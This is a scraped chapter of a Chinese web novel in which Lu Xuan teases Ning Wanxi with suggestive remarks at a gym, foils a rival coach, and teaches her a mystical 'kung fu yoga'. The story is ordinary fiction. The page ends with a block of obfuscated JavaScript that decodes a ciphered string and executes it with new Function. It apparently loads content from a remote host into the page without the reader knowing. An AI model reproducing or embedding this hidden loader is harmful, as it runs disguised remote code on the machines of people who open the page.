(手机请访问 m.duxs8.com); 总得来说，有时间太过注重形体的健身，不是一件好事，应该用在全身的运动健身上，而不是为了某个部位的好看，而去拼命的运动。
关斌下意识的看了一眼自己的胸肌一眼，看着那鼓起来的胸肌，还真是挺大的，他老脸一阵红一阵白，妈的，这个小子不说话也依旧算了，一说话就雷倒一片！
“你知不知道羞的，这样子说胸肌，”宁宛西俏脸红润的说道。
陆轩哈哈笑道：“本来就比很多女人的大嘛！”
“不过——”陆轩淫荡一笑：“跟你比，肯定是差的很远了。”
“你还说！“宁宛西又气又羞，恨不得打他几下了，也是不由得想到，他这张玩世不恭的面庞之下，却是藏着一颗遍体鳞伤的心，谁能察觉的到呢？
知道美女总裁的脸皮薄，陆轩又是笑了几声，立刻是不说话了，
此刻，陆轩和宁宛西来到了瑜伽室，然而瑜伽室里，一般是晚上才有人的，只有一个瑜伽教练在这里做着晨练。
这位教练40岁左右的年纪，虽然长得不咋地，但是身材极好，凹凸有致的，看到宁宛西进来，笑道：“宁小姐，怎么突然对瑜伽有了兴趣？”
宁宛西作为健身会所绝无仅有的大美女，在健身会所可是有着相当的知名度，连瑜伽教练都是认识她。
“想过来尝试一下瑜伽，”宁宛西笑道。
瑜伽教练哈哈一笑：“你这身材练瑜伽可是最好不过了，叫你几次来试试，你都是不答应，怎么突然想通了？”
宁宛西却是不好意思回答，笑着点了点头，而那瑜伽教练知道宁宛西不爱说话，便是直接说道：“宁小姐，过来吧，把鞋子脱了，站在毯子上。
而此刻，陆轩靠在瑜伽室的门上，静静的看着。
瑜伽教练也是脱了鞋子，站在了最前方位的地摊上，旋即一边做着姿势一边说道：“挺身直立，双脚并拢。双手胸前合掌，放松全身，调匀呼吸，这种姿势的益处，能够建立集中和宁静的状态，为要做的练习做准备，坚持五分钟！”
宁宛西双手合十，宛如虔诚的信女一般，俏脸闪耀温和的光芒，陆轩都看的呆了呆。
五分钟过后，当瑜伽教练正要做下一个动作的时候，她的手机这时候响了起来，她接听了一分钟的电话，挂掉电话后，然后走出了瑜伽室。
很快的，瑜伽室又走进来一个人，而这个人并不是瑜伽教练，而是关教练，只听到关教练说道：“宁宛西，杨教练他家里有点急事，特地的让我过来教教你。”
这个电话很明显就是关斌打给那位杨教练的，为的就是把她给支开，陆轩耻笑了两声，这种手段也太下三滥了一点吧？
不等宁宛西皱着柳眉，想要拒绝的时候，关斌直接来到了她的身边，正要手把手的想去接触她的身体时，却发现身边多出一个人来：“宛西老婆，想要练瑜伽的话，我也可以教你的。”
陆轩将宁宛西一把抱住，抱着她换了一个地方，这可让关斌气的想吐血了，你会瑜伽，你会个屁呀！
此刻，陆轩砸吧着嘴道：“现代瑜伽，我教你功夫瑜伽吧，一种强身术，通过**和精神的修持达到身心和谐统一、强身健体和开发人体潜能的作用。”
功夫瑜伽？关斌和宁宛西一听之下，都是惊诧住了，的确是有这种传说中的瑜伽之术，但是这种古印度的瑜伽早已经失传了，他真的会？
吹牛吧！关斌冷笑一声，暗忖着道。
在宁宛西的震惊之中，陆轩说道：“我先教你如何吐纳，双脚适度分开，双眼轻闭，一手置于胸部，另一手置于腹部上方，感觉横隔膜以及腹肌的活动，然后以鼻腔缓慢、细长的吸气和呼气，不可出声振动或停息。然后加大正常呼吸过程，当呼气时，尽量把气吐尽，分多次吐，然后有意使腹肌向内瘪。”
宁宛西照着陆轩的指导，开始做着吐纳，顿时感觉一阵沉静的状态，很舒服的感觉。
人体内有无数的精细神经脉，亦称经络，是一种能量运输的通道，数量多达几十万根。有粗钝的，有精细的，肉眼看不见。这些神经中有十四条较为重要，其中最重要的有三条：中脉、左脉、右脉，中脉尤其重要，修持者非经此不能得到大成就。
中脉在脊髓内，由脊柱尾部海底轮直升至顶轮穴，左脉早在中脉右边，名阳脉，性热。左、中、右三脉的最低交会点均在脊柱骨尾端海底轮处，它是宇宙能量或称之为灵热的储存库。此处能量只有经修炼后被唤醒并与顶轮会合后，才能称之为大智慧。
陆轩在宁宛西耳边传授着功夫瑜伽的修炼方法，又是以银针打开她的穴位，此刻的宁宛西真的是宛如九天仙女一般清丽脱俗，微微的吐纳着，吸收着天地灵气，进入了自己的精神世界，**与精神都在进行着锻炼。
这种瑜伽的手法，真的是传说中的功夫瑜伽，关斌直接是傻眼了，他是怎么学会的，而这种失传的功夫瑜伽，要是出世的话，必然会造成不小的轰动，价值更是不可估量！
其实这种功夫瑜伽是莫云涛传给陆轩的，因为陆轩的脑子记得东西太多了，很多东西都会忽略，比如这个女人喜欢练的瑜伽，刚才才想起来自己懂这个。
陆轩已经给了宁宛西太多的惊喜，因此，这一次的惊喜虽然让宁宛西很开心，但却是芳心没有那么激动了。
宁宛西感觉到了天地合一的感觉，身心舒适之下，更感觉到身体的潜能在被挖掘着，整个人充满了一股要喷发的力量感！
这就是功夫瑜伽，挖掘人类身体的潜能！
过了半个小时，宁宛西慢慢的睁开了眼眸，此刻的美女总裁，练了瑜伽之下，更显得气质出众，整个人出落的更是出水芙蓉一般的美艳，陆轩看呆了，不禁说道：“老婆，你真好看。”
“陆轩！”宁宛西哪里感受不到他眼里的那份炙热，芳心的深处多了一抹娇羞之色，仿佛被一缕温柔的轻风，缓缓拂过，舒适而温暖，不觉轻轻将螓首靠在了他肩膀上，深深地望着他那对如一汪深潭的眼睛。随后又缓缓闭上眼睛，温润檀唇微启轻颤，微露晶莹贝齿，双颊隐现红润，好一副任人采撷的娇羞动人模样。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();